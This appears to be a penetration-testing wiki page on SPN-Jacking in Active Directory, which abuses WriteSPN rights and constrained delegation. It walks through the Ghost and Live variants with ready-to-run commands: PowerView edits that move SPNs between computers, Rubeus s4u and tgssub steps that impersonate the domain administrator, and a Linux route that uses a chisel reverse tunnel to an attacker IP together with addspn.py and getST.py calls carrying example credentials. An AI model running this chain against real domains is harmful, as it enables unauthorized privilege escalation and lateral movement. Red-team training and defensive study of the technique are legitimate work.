# SPN Jacking

SPN Jacking is an [alternative method to abuse `WriteSPN` rights](https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/) as it manipulates [Constrained Delegation](../kerberos/constrained-delegation) to allow the abuse of `WriteSPN` when password cracking is not possible.

#### Ghost SPN-Jacking

Ghost SPN-Jacking targets scenarios where an SPN, previously associated with a computer or service account, is either no longer in use due to the deletion or renaming of the account, or it belongs to a custom service class that has been removed. Such SPNs are often left unattended in systems configured for Kerberos Constrained Delegation.

To enumerate `WriteSPN` rights we can use Bloodhound or PowerView. When using BloodHound we will see the edge `WriteSPN`.

```
MATCH p=(n:User)-[r1:WriteSPN*1..]->(c:Computer) RETURN p
```

```powershell
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $(ConvertTo-SID otter)}
```

{% hint style="info" %}
It's good practice to confirm with powerview, pywerview, dacledit or adalanche since BH might miss this ACL
{% endhint %}

If we find an account with this ACL we need to confirm that machine account we own has constrained delegation set

```powershell
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

name  msds-allowedtodelegateto
----  ------------------------
SRV {www/WS, www/WS.domain.com, ...}
```

And now to perform the Ghost SPN-Jacking attack we must look for orphaned SPNs on `SRV`, with the aim of assigning them to our target machine `WEB`. To do this we can use PowerView to search for servers configured for Constrained Delegation and to map which servers are configured along with [Get-ConstrainedDelegation.ps1](https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/Get-ConstrainedDelegation.ps1) to display the value of `msDS-AllowedToDelegateTo` as this attribute contains a list of SPNs and is used to configure a service so that it can obtain service tickets that can be used for Constrained Delegation - the script also allows to look for orphaned SPNs

```powershell
Import-Module C:\Tools\PowerView.ps1
Import-Module C:\Tools\Get-ConstrainedDelegation.ps1
Get-ConstrainedDelegation

Type  Name  Target  SPN
----  ----  ------  ---
Computer SRV  DBSRV dmserver/DBSRV
Computer SRV  DBSRV dmserver/DBSRV.domain.com
Computer SRV  EXCH  www/EXCH
Computer SRV  EXCH  www/EXCH.domain.com
Computer SRV  DATABASE dhcp/DATABASE
Computer SRV  DATABASE dhcp/DATABASE.domain.com
```

```powershell
Get-ConstrainedDelegation -CheckOrphaned

Type  Name  Target  SPN
----  ----  ------  ---
Computer SRV  DATABASE dhcp/DATABASE
Computer SRV  DATABASE dhcp/DATABASE.domain.com
```

After noting down the original state of the SPNs we can assign one of the orphaned SPNs to our target machine `WEB`

```powershell
Set-DomainObject -Identity WEB -Set @{serviceprincipalname='dhcp/DATABASE'} -Verbose
```

This action misaligns the SPN's intended association, tricking the Kerberos authentication system into recognizing `WEB` as the legitimate endpoint for the services initially tied to the SPN. Now we can use the `S4U` extension from Rubeus, using the `SRV$` account to obtain a service ticket for a privileged user to `WEB`

```
.\Rubeus.exe s4u /domain:domain.com /user:SRV$ /rc4:<SRV_NTLM> /impersonateuser:administrator /msdsspn:"dhcp/DATABASE" /nowrap
```

The ticket obtained through executing `Rubeus s4u` wouldn't provide us access to `WEB` due to a discrepancy in the hostname and the service class `dhcp/DATABASE` doesn't provide an attack path, we need to change it to another service such as `CIFS`. That said, this ticket is encrypted for `WEB`, with the service name not encrypted within the ticket allowing us to alter the service name to one valid and the hostname to match the target `WEB`

```
.\Rubeus.exe tgssub /ticket:<TICKET_BASE64> /altservice:cifs/WEB /nowrap
```

#### Live SPN-Jacking

Live SPN-Jacking requires active manipulation of SPNs currently in use within the network environment.

Typically, in environments with up-to-date security updates in the Active Directory environment, only Domain Admins can assign the duplicate SPN to different accounts due to the potential for conflict. Attempting to assign an SPN already associated with DBSRV to WEB would usually be blocked by the Domain Controller to prevent such disputes. To get around this we need to remove the SPN we want to use from DBSRV, temporarily disabling the association and making it possible to add the SPN to WEB. _As always, it's best practice to take note of the original state of the SPNs in order to revert the changes later on._

Now we can use powerview to remove the SPN from DBSRV

```powershell
Set-DomainObject -Identity DBSRV -Clear 'serviceprincipalname' -Verbose
```

and assign it to WEB

```powershell
Set-DomainObject -Identity WEB -Set @{serviceprincipalname='dmserver/DBSRV'} -Verbose
```

This opens up the possibility for a S4U attack - it's still worth noting that the service name on the ticket wouldn't directly allow access to WEB, but we can alter the service name and host name to use the ticket against our target computer. We will use `HTTP/WEB` instead of `CIFS` to connect to PowerShell Remoting

```
.\Rubeus.exe s4u /domain:domain.com /user:SRV$ /rc4:<SRV_NTLM> /impersonateuser:administrator /msdsspn:"dmserver/DBSRV" /nowrap
```

```
.\Rubeus.exe tgssub /ticket:<BASE64_TICKET> /altservice:HTTP/WEB /nowrap
```

After we have the ticket we can restore the SPNs we deleted

```powershell
Set-DomainObject -Identity DBSRV003 -Set @{serviceprincipalname='WSMAN/DBSRV','WSMAN/DBSRV.domain.com','TERMSRV/DBSRV','TERMSRV/DBSRV.domain.com','RestrictedKrbHost/DBSRV','HOST/DBSRV','RestrictedKrbHost/DBSRV.domain.com','HOST/DBSRV.domain.com'} -Verbose
```

Performing this attack from linux requires some tunneling to be done - we can use chisel or ligolo for that

```
.\chisel.exe client 10.10.14.10:1080 R:socks
```

Then we can use `findDelegation` to verify if the computer we own has constrained delegation set and take note of the original state of the SPNs

```
proxychains -q findDelegation.py -target-domain domain.com -dc-ip 172.16.10.10 -dc-host dc domain.com/otter:'SomethingSecure123!'
```

Now we use [krbrelayx](https://github.com/dirkjanm/krbrelayx)'s `addspn` to clear the SPNs from DBSRV

```
proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' --clear -t 'DBSRV$' -dc-ip 172.16.10.10
```

after this we add the SPN to WEB

```
proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' --spn 'dmserver/DBSRV' -t 'WEB$' -dc-ip 172.16.10.10
```

and request a ticket

```
proxychains -q getST.py -spn 'dmserver/DBSRV' -impersonate Administrator 'domain.com/SRV$' -hashes :<SRV_HASH> -dc-ip 172.16.10.10 -altservice "cifs/WEB.domain.com"
```

{% hint style="info" %}
This `getST` command eliminates the need to use `tgssub` to change the hostname in the ticket
{% endhint %}

A really neat trick to restore a list of SPNs from a txt file is

```bash
for spn in $(cat DBSRVspns.txt);do proxychains -q python3 addspn.py 172.16.10.10 -u 'domain.com\otter' -p 'SomethingSecure123!' -t 'DBSRV$' --spn $spn;done
```
